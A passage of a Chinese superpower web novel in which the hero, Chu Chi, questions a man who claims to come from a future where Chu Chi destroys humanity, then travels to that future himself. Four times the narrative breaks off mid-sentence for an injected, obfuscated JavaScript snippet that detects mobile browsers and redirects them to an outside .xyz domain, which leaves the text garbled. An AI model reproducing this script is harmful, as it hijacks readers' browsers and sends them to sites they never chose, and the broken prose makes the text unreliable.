“从个人角度而言,我也更倾向外力干扰。2050年灵气复苏,2052年零队成立,而这三年正是第一次异种的高活跃期。”她看上去依旧冷静而理智,但声音里却像是压制着某种怒火,“而当时的楚池并未加入任何异能组织,才十四十五岁,还是个孩子,被沈队劝着留在安全地方继续以学业为重。可他偷偷一人,单枪匹马,在这三年里干掉了三头A级,五头B级,更别说还未记录的低等级异种。” 杜安歌翻开档案,密密麻麻的击杀记录瞬间映入眼帘,下意识念道:“2054年正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496035|170193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 式加入零队,而后在第二次异种爆发阶段,斩杀SS级两头,S级十五只,A级……” 他的声音突然卡在喉咙里。 “两千六百五十二只。”白衬衫女子平静地接上,“这还不包括B级以下的异种。第二次爆发期的三年时间,平均每天解决四头,从东南临海到西北荒漠,甚至境外求援——所有人都盼着看见他的身影。” “那你知道,从灵气复苏到至今的这十年里,他杀过多少人吗?” 杜安歌发现自己的指甲已经陷进纸页,不知为何,他像是在恐惧这个问题的答案。 寂静在档案室里蔓延。 “零。”白衬衫女性突然笑了,这个笑容却让杜安歌感到一阵颤抖,“就算对方试图把刀捅进他心脏,他也只会折断对方的手腕——当然,目前没有人能够做到给他致命伤。” 杜安歌听见自己干涩的声音:“现代社会的守法公民?真感人。” “不。”白衬衫女性将档案翻到最后一页,那里有着心理分析师所写下的一句话,“他相信审判权属于法律体系。用他的话说——‘我们没资格扮演上帝’。” 杜安歌突然觉得呼吸困难,仿佛有看不见的手攥住了他的气管。 “力量从不是我们评判的标准。”西装男人推了推眼镜,接话道:“三千六百五十二只异种,四百七十多万位幸存者,这些数字比任何言论都更有说服力。” 他的目光突然变得极具压迫感,像是要将杜安歌钉在沙发上:“所以很遗憾,杜先生。你无法说服我们,而我们现在也不是在说服你相信我们的话,我们只是在告诉你一个事实——你们所带来的那些信息,很有可能正在威胁着全人类的生存概率。” 白衬衫女性缓和了语气,柔声道:“所以现在,我们,我们身后代表的所有人,都在希望你们配合我们的调查与分析,进而设法阻止那个未来的出现。” 空气陷入恐怖的死寂。 杜安歌感到自己一时无法呼吸。 他没有听到白衬衫女性后来的话,他满脑子都是那个数字“零”,他无法想象……为什么未来一个肆意玩弄生命的刽子手,在过去却是这么一个……堪称圣人的模样。 这时,突然响起的“咚咚”敲门声打破沉寂。 双方对话的当事人——楚池拿着两杯咖啡,正尴尬地站在门口,“不好意思打断一下,从不杀人那里我就想说话了,但感觉这里氛围好像过于严肃所以就没出声……总之,王哥安姐,接下来可以让我和这位杜先生单独聊一聊吗?” 西装男人按着耳麦沉默两秒,与白衬衫女□□换了个眼神。他们同时起身,朝楚池点了点头,往门外走去,然后关上了门。 杜安歌还处于一种三观重组的恍惚中,连楚池坐在对面沙发上时都没反应过来。 “加奶不加糖,宗保总是喝这些东西,今天一次性买了好几杯,所以我顺过来了两杯。”楚池把咖啡推到杜安歌面前,像是在闲聊般抱怨道:“还有,我得纠正一下王哥安姐先前的意思。事实上,他们说的那些不杀人啊,审判原则什么的……太夸张了。我原话其实是——” 他突然停顿,而后无奈地笑了笑,“杀人就像往海里扔石头。” 他比划着,杜安歌的注意力渐渐被他吸引,“最开始可能连水花都看不见,但总有一天,当你在电影院笑到一半,或者咬下第一口冰淇淋的时候……那块石头会突然从胃里浮上来。我会不经意间想起那个被我杀死的人,我会想他有没有无辜的亲朋好友,我会想他的死亡是否罪有应得,我会想他如果还活着会不会还有机会重新选择做一个好人……那些不断涌现的想法会让我一天的好心情都消失。” “我并不像他们所说的那样伟大,我只是在逃避,我没有勇气去承担杀死一个人所带来的罪恶感。” 楚池终于和那个慢慢抬起头的杜安歌对视,他看到对方的眼睛里倒映着自己的身影,“所以,你们不用害怕我。” 他耸了耸肩,说:“我只是一个普通人。” 7. 不太开心的楚 【——我只是一个普通人。】 监控屏幕里的年轻人笑得像往常一样轻松。 监控室里却陷入死寂。 十几双眼睛盯着屏幕,余光却不约而同瞟向同一个方向——沈无惑正沉默地凝视着假装专注看屏幕的宗保。 显然,有人又在瞒着所有人,偷偷帮助楚池溜去他不该去的地方。 宗保倔强地用后脑勺朝着沈无惑,无事发生般喝着咖啡。 “沈队,要叫人回来吗?”有人小声问。 “……暂时不用。”沈无惑重新将注意力放在监控屏幕上,注视着那张熟悉的面孔,“我相信他有分寸。” 然后下一秒,他们就听到扬声器里传出来的轻快声音: 【“对了,你能不能再讲一遍,那个我玩弄世界,毁灭世界的故事?”】 监控室里的一群人:“……” 沈无惑转身就往门口走去。 旁边的人立马拦住他。 “沈队冷静!他只是开个玩笑——” 楚池当然不是在开玩笑。 自从灵气复苏的这十年里他获得的异能越来越多,也越来越稀奇古怪。 有很多不怎么常用的异能连他自己都记不太清了。 而在刚刚,他突然想起一个被自己关闭很久的异能。 ——“识谎”。 和字面意思一样,能快速识别目标是否说谎。 这是他获得的第二个异能,也是第一个被主动关闭的能力。 当年他像个得到新玩具的孩子,用这能力把周围人试了个遍,然后发现了一件事。 他可能是在玩扫雷,一扫一个雷,差点把自己炸死。 言归正传。 楚池准备重新启用那个能力,用来验证眼前这位自称“重生者”的杜安歌是否在撒谎。 他正打算让对方再复述一遍自己的故事,可下一秒,似乎终于回过神的杜安歌猛地后仰,差点从沙发上翻下去。 “——你怎么会在这里?!” 他的声音几乎是挤出来的,瞳孔紧缩,像是见了鬼。 楚池缓缓打出一个问号:“……你才发现?” 他推了推眼镜,“我在这儿坐了至少五分钟,还跟你聊了半天,你一句都没听进去?” ——是的,眼镜。他过来时特意换了身黑色制服,还戴了副黑框眼镜,按理说和这些重生者们记忆里的形象应该不太一样。 但杜安歌的反应比他预想的更剧烈。 楚池试探性地摘下眼镜。 咚、咚、咚。 对方的心脏在胸腔里疯狂撞击,声音大得几乎能听见,让人怀疑下一秒会不会晕过去。 他默默把眼镜戴了回去,语气有点郁闷:“……我是不是不该来?” “不。” 杜安歌的声音绷得极紧,手指神经质地掐着掌心,视线飘忽不定,却硬是逼着自己把话挤出来: “我很……感激您的到来。” 他顿了顿,喉咙滚动,像是吞咽了口唾沫,再开口时,声音低得几乎听不见: “至少您让我确认了一件事。” “您信任他们,而他们,也信任您。” 不然就不会放任他们两个面对面相处。 楚池抬手做了个“暂停”的手势,无奈道:“请别用敬语,这会让我感觉有些紧张——你知道我上一次是在什么情况下说的这句话吗?” 杜安歌看向他,看起来茫然极了,像是不确定需不需要自己接话。这和楚池在监控室里看到的不太一样,也和分析师所侧写的性格不太相似,这一位……似乎在故意表现出自己的软弱。 “一家现场直播的综艺节目,场下数千人的那种。”楚池掩去眼底的思索,耸了耸肩,用着和往常一样的口吻道:“我是唯一被推出来的那个,连沈队都不乐意陪我一块参加。” 杜安歌挤出一个笑容。 他眼底仍然有恐惧,但至少现在他能稳稳坐在沙发上,而不是随时准备夺门而逃。 楚池的目光落在他微微颤抖的手上,突然站起身——这个动作让杜安歌条件反射般绷紧身体,目光像警惕地紧跟着他移动。 这让他想起表妹养的仓鼠。刚到家时缩在角落,黑豆似的眼睛一瞬不瞬地盯着外面,随时准备逃窜。 楚池走到窗边,“唰”地拉开厚重的窗帘。阳光倾泻而入,驱散了室内凝滞的空气。不是刺眼的白炽灯光,而是带着温度的自然光,连漂浮的尘埃都在光束中变得温柔。 他满意地看到,沙发上的杜安歌明显放松了些许。 “对了,”楚池靠在窗框上,阳光在他身后勾勒出一道轮廓,“你们有在网上搜过我们吗?” “零队?”杜安歌迟疑道。 “嗯,我们七个人。”楚池歪了歪头,不动声色地开启了“识谎”的能力,“你们那个世界没有吗?我好像从没听你们提起过其他人。” 杜安歌摇头。 “真的假的?”楚池抱起双臂,指尖在胳膊上轻点,“像大灰熊一样力大无穷的胡天洋,自称盲人但千里狙击擅长枪械的裴青寂,治愈系的天才美少女林乐栖,脾气暴躁经常和我在训练室互掐的夏禾玉,还有你见过的默客宗保,以及能力完全克制我的沈无惑……这些人,你一个都没听过吗?” 他在念着那些曾经说过无数次的熟悉名字。 他听到杜安歌的心跳声越来越响。 他看到自己倒映在窗玻璃上的那半张脸是连自己都陌生的冷静。 “没有。” 杜安歌说。 ——【谎言】。 楚池瞳孔微微紧缩,完全背过身去,在杜安歌看不到的地方,他倒映在窗玻璃上的那双眼睛,是完全像血一样的的暗红色。 “识谎”生效的瞬间,楚池的瞳孔泛起血色,这是能力的副作用。中二时期觉得酷毙了的特效,此刻却让他心底发寒。 杜安歌为什么要对自己说谎?他为什么要隐瞒零队的事? ……他是觉得他听到某些东西,会失控吗? 楚池无法不多想。 这里有一个很简单的推论:如果未来的自己真的堕落了,零队必定是第一个阻止他的。反过来说——要达成目的,最先需要清除的……也是零队。 “哈……” 这个荒谬的念头让他自己都想发笑。对零队出手? 除非他疯了—— 窗玻璃映出的人影突然凝固了他的思绪。 猩红的双眼,冰冷的表情。 那一瞬间,他仿佛正与未来的自己对视。 如坠深渊。 …… …… 楚池被立即赶来的沈无惑拎走了。 落进走廊的光线在两人之间投下忽长忽短的影子。 沈无惑的步伐快得带风,黑色风衣下摆在身后猎猎作响。 楚池机械地跟着,却在不知不觉间被落下三四步的距离。 他不确定沈无惑会不会生气,他也无法想象那个他会杀死同伴们然后抹除零队存在的可能性。 大脑在轰鸣,所有的想法都乱得一团糟。 走到电梯口时,沈无惑突然转身,那双始终平静的眼睛看向沉默不语的楚池,是和往常一样的语气,自然问道:“你觉得一打六的获胜率是多少?” 楚池愣了愣,指了指自己,又迟疑地抬手,指了指沈无惑,只是手指明显有些颤抖,无声地表示疑问。 沈无惑点头。 楚池开始惊讶。 楚池开始沉思。 楚池开始大脑放空,并且原地打转。 沈无惑注视着不远处的青年,他看着对方从一个谁见了都烦的小鬼一路长成现在这幅可靠的模样。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496036|170193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但实际上,果然还有很长的路要走。 “楚池。”沈无惑无奈出声,阻止了楚池焦躁的行为,“按过往经验,你觉得是你的判断准确,还是我的?” 楚池:“……” 沈无惑的语气很冷静,就像摆在面前的是再简单不过的事,“所以和以前一样,跟上来,分析与思考的事交给我们,而你只需要做你最擅长的事。虽然这一次,我们的敌人很可能会是人类,你需要提前做好准备……不过我仍然相信你,毕竟一直以来,你都在超出所有人的预期。” “叮”得一声,电梯门开了。 沈无惑先一步走了进去。 在他身后,楚池的大脑宕机,他满脑子都是“我仍然相信你”这句话,他望着沈无惑一如既往的背影,好半会后才终于清醒下来。 他最擅长的是什么? 是战斗。 是消灭一切敌人。 他是零队里最强也是最具锋芒的那一个。 他已经很少再搞砸什么事了。 ——只要零队依旧存在。 * 楚池坐下了。 他安静乖巧,在整个监控室混乱嘈杂中显得格格不入。 在他旁边,宗保啪嗒啪嗒敲键盘,嘴里还叼着一根棒棒糖。 “哟,乖宝宝回来了。话说我还以为你会和沈队打一架才会回来,没想到居然只是说服的,不愧是沈队,也不愧是你。” 楚池不高兴了,“你在说什么呢,我怎么可能跟沈队打起来。” 宗保连个眼神都没给他:“所以,你跟那个杜安歌聊出了什么结果?” 楚池自信乐观:“未来就是狗屁,我们要当自己的上帝。” 宗保:“……” 他面无表情地翻了个白眼,“你今天是跟上帝过不去了是吧,信不信你今天的话说出去,隔壁真要开着战斗机来轰炸你……” “咻——” 窗外刺耳的破空声突然出现。 一架战斗机直接从空中显形,冲着总部大楼俯冲而来。 楚池看向宗保:“你什么时候觉醒的言灵能力?” 宗保:“……” 下一秒,楚池的身影出现在半空中,鞋底重重踏在战斗机外壳上。透过舷窗,他的瞳孔骤然收缩——驾驶舱空空如也。 只有一行血红色的字漂浮在控制台上: 【加入我们,成为新世界的缔造者——正如你未来所做的那般。】 “联盟。” 楚池表情冷了下来,他破坏控制台,单手拎着战斗机,像扔垃圾一样把它甩上天台。 而后对打来电话的沈无惑说:“是联盟的人,老样子,满脑子都在发疯。不过,我怀疑他们那可能有第四位重生者。” 楚池抬起头,今天的天气不错,阳光明媚,风和日丽。 而他深呼吸几口气,迎着阳光,重新恢复冷静。 他做好准备了。 不管发生什么,他都有把握去面对,并且去战胜它。 …… …… 天空暗红,地面焦黑,遍布尸骸,空气里充满着腐烂的尸臭味,像一层粘稠的雾霭笼罩着这片死地。 楚池穿着一身白制服,手里拎着行李箱,四周是密密麻麻的巨型怪物,它们全如朝圣者般颤抖着匍匐在地。 而楚池仰起头,瞪着天空那三座被誉为“方舟”的空中基地,它们投下的阴影正好割裂了不远处残存人类的阵营——那些人举着武器的手在发抖,每一道看向他的目光都淬着刻骨的悲恸与恐惧,以及更深的仇恨。 楚池:“……” 他艰难地闭上眼。 他恨不得打死昨天的自己。 他说错了! 他还没做好准备啊!!! 不要让他这么快面对这个恐怖的未来啊啊啊啊—— 8. 如你所见 这事要往前推。 自从与重生者杜安歌那场谈话后,楚池的情绪就像过山车般起伏不定。加上联盟战斗机的突然袭击,沈无惑敏锐地察觉到了他的状态异常,直接给他批了假。 “我没问题。”楚池嘴硬道。 他感觉自己现在的状态出奇的好,精力非常充沛,如果有敌人进攻,他一个人就可以在三分钟里全部干掉。 他把这段话告诉了沈无惑,而结果就是…… 三分钟,仅仅三分钟,他就被沈无惑打包塞进车里,强行遣送回了姑妈家。 楚池的父母早逝,姑妈一手把他拉扯大。灵气复苏后,他跟着沈无惑东奔西跑,回家的次数屈指可数。好在姑妈一家至今还以为他在影视基地拍戏,每次关心的都是些家长里短:工作顺不顺心、有没有谈恋爱、盒饭营养够不够、缺不缺钱…… 和零队那种打打杀杀的日常不同,这里只有热腾腾的饭菜,和毫无保留的爱。 ——虽然这反而让他更紧张了。 楚池靠在厨房门框上,看着姑妈忙碌的背影出神,身后客厅里年仅六岁的表妹正在玩魔法少女变身,亚克力笼里的仓鼠大白天的就在跑圈,空气里弥漫着食物的香味和温馨祥和的气息。 一切都仿佛能让人的思绪静下来。 但楚池做不到。 他仍然在想着监控室里闪烁的屏幕,分析员们凝重的面孔,那些自称“重生者”的陌生人眼中挥之不去的恐惧,以及他们所描绘的未来…… 他的大脑无法停下。 也许沈无惑是对的,他的状态真的有些异常…… “小池!别盯着那水池发呆了,你再怎么盯那玩意也不会跳出鱼来!快过来端碗。” 楚池回神:“哦哦好的!” “哥!哥!快看我的鼠鼠会变色——” 楚池吐槽:“你个呆瓜,那是你的魔法棒在发光变色。” “阿池啊,喝点小酒?” 楚池婉拒:“不了不了明天还得上班……” 楚池不知道自己在忙些什么,总之他就是感觉晚上姑妈家好忙,他们还有一条哈士奇需要遛。 等反应过来时,他已经躺在被窝里,双眼无神地盯着天花板。 他还是静不下来,他的脑子里满是重生者与未来的那些事…… 三秒后, “zzzz……” 他陷入安眠。 第二天早上。 楚池顶着一头乱糟糟的头发,恍恍惚惚地坐在餐桌前往嘴里塞早饭,感觉自己好像没有昨天那样焦躁了。 “那个,那个叫什么来着?远离焦虑治疗法?” 他习惯地听着姑妈扯着嗓子喊表妹起床,姑父起晚了,匆匆忙忙收拾东西拿着个包子就出门,走之前还顺手揉了把楚池的脑袋。 一切都非常的,宁静。 …… 吃完早饭,周先生那辆熟悉的黑色轿车准时停在院门口——这位身兼助理与经纪人的万能先生总是分秒不差。 楚池拉开车门钻进去,一边套上那件笔挺的白色制服。 今天要开一天的会,零队全员出席,关于那些重生者和未来的破事需要大家一起讨论与分析——事实上,按照沈无惑的说法是已经有初步的方案,但还需要更加深入的调整。 【默客:心情怎么样了?】 【三也:心如止水。】 【沈无惑:很好。】 【夏禾玉:?你们在打什么哑谜。】 【三也:太好了原来还有人什么都不知道的(开心)】 【沈无惑:你到楼下了跟我说一声。】 楚池一抬头,那栋玻璃幕墙大厦在阳光下亮得刺眼。他飞快回了条“到楼下了”的消息,车还没停稳就拎着行李箱冲了出去。 ——这箱子是昨天随手从零队休息室顺的,直到现在他才看清箱体上明晃晃的监管局徽标,烫银的标识在阳光下闪闪发亮。幸好姑妈没注意…… 他拖着箱子疾步冲向旋转门,手机突然震动起来。 来电显示“未知号码”。 “喂?哪位——” 话音未落,一阵天旋地转。 熟悉的灼热感从骨髓深处窜上来,仿佛来自灵魂深处的撕裂感几乎让他短暂地失去意识。 但他并不担心。 这是他每次获取新异能时必经的过程。 而现在,他所觉醒的…… 是一个全新的、从未掌控的能力。 它是—— 【未来】。 * 楚池的意识尚未完全回笼,最先进入耳膜的便是此起彼伏的嘶吼与咆哮声,紧接着是混杂着腐臭与浓郁血腥味的奇怪味道,这让他瞬间意识到自己应该是在某个战场。 本能先于思考做出了反应。 随着感知到杀意与恶意的瞬间,滔天“白浪”已自他周身奔涌而出,转眼间吞噬了周围一大片区域。 喧嚣骤止。 空气变得清新起来,带着股熟悉的冰凉气息。 楚池眨了眨眼,视野逐渐聚焦—— 密密麻麻的扭曲黑影凝固在咫尺之距,它们匍匐在地,隐隐正在颤抖。 最近的那头黑影离他的脚尖仅有半米。 破碎的黑袍下露出嶙峋脊骨,无数尖锐的黑色骨刺从关节处爆裂而出,在昏暗的环境下泛着诡异的光泽——这显然是一头异种。 楚池的杀意骤然暴涨,悬浮在空中的白色气流猛然压下,将那只黑色异种狠狠钉入地面,正要将其碾碎—— “呜……” 一声痛苦的呻吟突然传来。 那声音中蕴含的情感太过鲜明,让楚池心头一震。 他猛地上前,一把扯开异种破烂的黑袍—— 一张布满漆黑鳞片的人脸暴露在他面前。 “这是什么……?” 楚池瞳孔骤缩。 那张扭曲的面容上,依稀还能辨认出人类的五官。 而在无数细碎的鳞片中,一双布满血丝的眼睛正惊恐地望着他。 人类? 异种? 楚池仓皇环顾四周。 无数黑影匍匐在地,黑雾如活物般缠绕着它们。其中一些身披黑袍的个体明显比其他小了一圈,身上却长满了狰狞的尖刺。 而他就站在这群怪物中央—— 一身雪白的制服纤尘不染,手中还拎着印有监管局徽标的行李箱。 在这片扭曲的黑暗里,他格格不入。 但那些怪物,那些堕落的人类,却向他匍匐在地,如朝圣,如跪拜自己的神明。 死寂而沉重的氛围几乎压的楚池喘不过气来,可能也有异能消耗过度的原因,他的大脑嗡嗡发鸣而疼痛。 就在这时,楚池背后传来窸窸窣窣的响动。 一个浑身布满狰狞肉刺的黑袍生物,正艰难地支起上半身。它扭曲的肢体在地面上拖出暗色痕迹,却有一双与人类别无二致的眼睛,盛满复杂的情绪,死死锁在楚池的背影上。 它伸出了手,试图抓住那洁白的制服—— “……王?” “别碰我。”楚池猛得转过头朝那东西看去,眼底满是厌恶与冰冷,“跪下。” 他还没理清现在的情况,谁都不要来打扰—— 不,不对! 楚池骤然回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496037|170193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神,这才注意到随着他杀意的暴涨,四周匍匐的怪物们竟在瑟瑟发抖。它们蜷缩着畸形的躯体,浑浊的眼珠里满是惊惧,却连一丝声响都不敢发出,仿佛稍一动弹就会招致灭顶之灾。 不。 楚池闭了闭眼。 他深吸一口气。 不,不对。 他从来不会说那么没礼貌的话。 他也不可能去玩弄侮辱任何生命。 这个世界一定有什么东西在影响他。 他看到了另一些仍然站着的人。 ……是人类。 他们站在那三座空中基地之下,阴影将他们覆盖,投来的视线带着震惊与隐隐的恐惧,但那些枪/口始终对准了他,没有丝毫颤抖。 楚池已经预感到他能在这里停留的时间不会太久。 五分钟? 不,三分钟。 他已经浪费了一分多钟。 而现在…… 楚池的身影猛得消失在原地。 再次出现时,已经来到了那群人类组织的面前。 楚池的目光扫过人群,心底泛起一丝失落。 这支人类队伍中,找不到一张熟悉的面孔,就连为首的领导者,也陌生得令他心惊。 没有零队标志性的制服,没有沈无惑永远挺直的背影,没有永远坠在后头提不起精神的宗保,没有拿着长刀浑身战意的夏禾玉…… 他找不到一丝他曾守护过的痕迹。 这里是…… 彻彻底底的陌生。 楚池压下烦躁感,准备向他们进行沟通。 “回答我的问题,别试图挑战我的耐心。” ——不是,他没想这么说!!他为什么会说出这种话?! “重复一遍,我看得清你们任何的小动作。放下武器,顺从我,才是你们的明智选择。” ——天杀的这个混蛋中二病是谁?! 楚池瞳孔地震,他得到了十几双愤怒的眼神。 好的,意料之中。 这个世界可能对他的语言逻辑功能产生了干扰,楚池并不愤怒,但现在没有多少时间可以浪费,所以他很难控制自己拿出足够的耐心—— 就在这时,那个陌生的首领突然抬手,示意身后的人放下枪。 楚池愣住。 他注视那张陌生的脸,意识到这是一个聪明人,并且或许知道足够多的信息。 “这个世界发生了什么?”他问道。 “毁灭,死亡,崩溃,一切都在变坏。” “因为那个[楚池]背叛了人类?” “我不确定。” “那些拥有异能的人类强者们,也没能阻止他?” “这个世界已经不存在异能者了。” 楚池瞳孔紧缩。 不仅是因为那句话,还是因为来自那个男人身后的,骤然朝他刺来的一把长刀—— “王!您猜得没错!他就是您一直想要杀死的人!” 楚池:“???” 他猛得一把抓住那陌生首领往后拽,险险避开了那把长刀,怒道:“我想杀什么人?!” 陌生首领稳住身形,目光平静如水。他淡淡扫过被制服在地的叛徒,最终定格在护在自己身前的楚池背影上,那道视线,久久未移。 而被压制在地上的背叛者嘶声力竭,看向楚池的眼里满是狂热:“王!他就是沈无惑啊!就是那个一直反抗你的组织首领啊!” 楚池:“……” 他回过头看看男人那张陌生的脸,又转回去说:“你认错了,沈无惑不长这样。” 其实以前真叫这名字的组织首领:“……” 9. 「冒牌者」 时间还剩下最后的30秒。 楚池看向不停嘶吼发疯的人类组织叛徒,又茫然地看了看被叫做“沈无惑”但长相完全不同的陌生男人,感觉满脑子都是问号。 不过他很快冷静下来,清楚地明白自己的任务不是解谜,而是搜集情报。 所以,现在没有时间去思考“人类组织的叛徒”和“为什么组织首领被叫做沈无惑”这些事了。 他剩下的时间连半分钟都不到。 楚池感到大脑一清,猛得转头看向身后的陌生首领。 他必须知道73年,或者再往前,到底发生了什么才让未来的“楚池”变成那副模样。 “我知道你想问什么,我也知道你不是现在的这个[楚池]。” 依旧站在原地的陌生首领却摇了摇头,始终平静的脸上露出微不可见的歉意,“但很抱歉,我无法提供给你更多信息。我的记忆从73年开始,往前都是一片模糊。而现在,已经又过去了八年,现在是2081年,记住我们首次碰面的这个时间节点。还有,小心龙头窟,那是我唯一有印象的地名。我不确定是哪一年发生的,但如果你还没经历过……” “一定要小心,龙头窟那场事件里,危险与意外无处不在。” …… 楚池微微愣住,他先是把这里的时间记住,而后落在后面的那个地名上。 龙头窟? 那不是他和沈无惑原定月底执行的任务吗? 还有,这种说话习惯…… “你是……谁?” 眼前的陌生男人有着一张他从未见过的脸,眉宇间刻满疲惫的纹路,却生着一双令人过目难忘的眼睛,那双眼里是楚池再熟悉不过的光芒,让他的心跳瞬间加速。 ……时间来不及了。 楚池猛得朝那群依旧匍匐在地的怪物们冲去,席卷四周的白浪将它们层层包裹,而后下一秒全都消失在原地,只剩下一片空空荡荡的空地。 噗通,噗通。 大海。 广袤无垠的大海。 漆黑深邃的大海。 楚池的笑声刚冲出喉咙就被咸涩的海水堵了回去,他张着嘴却吸不进一丝空气,肺里火烧般疼痛,眼前开始发黑,濒死感扑面而来。 他恐惧深海。 未来的“他”大概率也没能战胜这种恐惧。 不过要的就是这种情况。 在海里待去吧,未来的“我”。 第一次发动能力穿越到未来,楚池能待的时间太短,几乎没能获取多少有效情报。但他隐隐感觉到,只要随着使用这个能力的次数增加,就能延长在未来停留的时限。 而这一次。 他拿到了最重要的一点情报。 沈队…… 他永远留有后手。 零队或许并未消失。 这个念头浮现的瞬间,他再一次露出了笑容。 紧接着,四周的空气突然开始挤压他的身体,仿佛整个世界都在排斥他的存在,某种无形的规则正强行将他驱逐。 灵魂开始变得轻盈,像是挣脱了所有束缚,带着一种奇异的安宁感缓缓上升—— 然而很快,失重感瞬间袭来。 楚池猛得睁开眼。 他原以为会回到自己原来的那个时间点,却没料到自己正悬浮在高空之中,五指正死死掐着一个面罩男的脖颈。 脚下,整座城市已沦为燃烧的废墟,地面破碎的广告牌写着“欢迎你,2075!”几个大字,边缘缓缓晕开刺眼的鲜红血迹。 这个时间是……未来那个“楚池”成为灭世者的第二年,也是他首次穿越时空、遇见那位被错认为“沈无惑”的神秘首领的六年前。 空气中弥漫着刺鼻的硝烟味,燃烧产生的灰黑色烟柱扭曲着升向天际。目之所及全是倾塌的建筑残骸,断裂的钢筋横七竖八地刺向天空。废墟之下,殷红的鲜血从巨石缝隙中汩汩渗出,残缺的肢体散落各处。而在那些尚未完全倒塌的阴影处,身着各式作战服的部队仍在激烈交火,枪火的光芒在烟尘中忽明忽暗,隐隐照亮了咆哮嘶吼着横冲直撞的无数异种。 硝烟,战争,死亡…… 楚池感觉自己的心脏在重重地往下沉,几乎让他无法呼吸。 上一秒还能看见希望的微光,下一秒就被迫直视这人间炼狱…… 这次觉醒的异能【未来】,太糟糕了。 而且…… 楚池感受一下现在的状态,与先前的穿越不同,他现在感觉很沉重很迟缓,像是被困在胶水里一样,无法控制这具身体。 看来只能暂时先旁观,看看这里会发生什么了…… “楚池。” 当那熟悉的嗓音传入耳中,还在思考什么的楚池大脑空白,浑身的血液瞬间冻结。 恐惧如潮水般淹没了他——他终于意识到了异常,发疯似地想要抢夺这具身体的控制权,但如同困兽般徒劳无功,只能眼睁睁地看着“自己”将视线从满目疮痍的大地,慢慢移到手中那个濒死之人的脸上。 他终于该死的意识到这种旁观带来的绝望! “我明白……这不是你的本意……”被扼住咽喉的男人艰难地挤出话语,缓慢抬手扯下面罩,露出一张楚池熟悉到崩溃的脸。 尽管痛苦让那男人的面容扭曲,那双眼睛却依然保持着可怕的清明,“你只是……被能力反噬了……” “呵。” 楚池听见“自己”喉间溢出一声冷笑,那声音里的恶意浓得几乎化为实质。 “你明白?”说话的人用令人毛骨悚然的温柔语调反问,“就凭你们这些蝼蚁,也配谈论我的理念?” 不!住手! 楚池在意识深处疯狂嘶吼,却只能绝望地感受着五指不断收紧。 他听到骨骼不堪重负的悲鸣,像一根根绷到极致的琴弦,随时可能—— “回答我。” 楚池几乎感受到窒息的痛苦,可这具躯体的另一个意识依旧残忍而冷酷,五指略微松开几分,却仍如铁钳般禁锢着对方的生命,“你的同伙们藏在哪里?” 掌中的男人那副平静面具终于裂开一道缝隙,深藏的痛楚与挣扎倾泻而出:“醒一醒……楚池……看看这片焦土……这难道就是我们誓死守护的——” “闭嘴。” 楚池悲伤地看着对方的瞳孔开始扩散,却控制不住这具身体在不停施加力度。 然而下一秒,在他想象中该死的冷酷傲慢疯狂的混蛋,却陡然拔高了声音。 “我受够了你们这套陈词滥调!”“他”的指尖再次收紧,恶狠狠地凝视那张逐渐失去生机的熟悉面孔,低吼道:“要重复多少次你们才能听懂——你们不过是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496038|170193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群卑劣的窃贼!” “你们的存在本身就是对亡者的亵渎!” “是对我们曾经守护的一切,最恶毒的嘲讽!” “是我!是我让你们回到你们该去的地方!是我!是只有我才能让你们跨越死亡!跨越永恒!” 听到这番话的瞬间,楚池如坠冰窟,寒意顺着脊梁窜上后颈。 这是……什么意思? 还没等他反应过来,耳畔突然传来骨骼断裂的脆响。 他看到“自己”突然抬手,随手将那具脖颈扭曲的躯体抛向火海,动作轻蔑得像在丢弃一件肮脏的垃圾。 他听到冰冷的声音在硝烟中回荡: “我清楚你们的想法。” “你们想要阻止我,” “你们想要拯救我,” “你们甚至也想审判我。” “如果你们做得到的话,那就尽管来吧……” “——冒牌货们。” …… * 楚池回到了过去。 现在是60年,夏,天气正热。 阳光重新落在他的身上。 楚池静立在总部大楼的旋转门前,手中紧握着那个印有监管局徽标的行李箱。 泪水不受控制地涌出,在脸颊上留下冰凉的痕迹——他的身体比意识更早地反应过来。 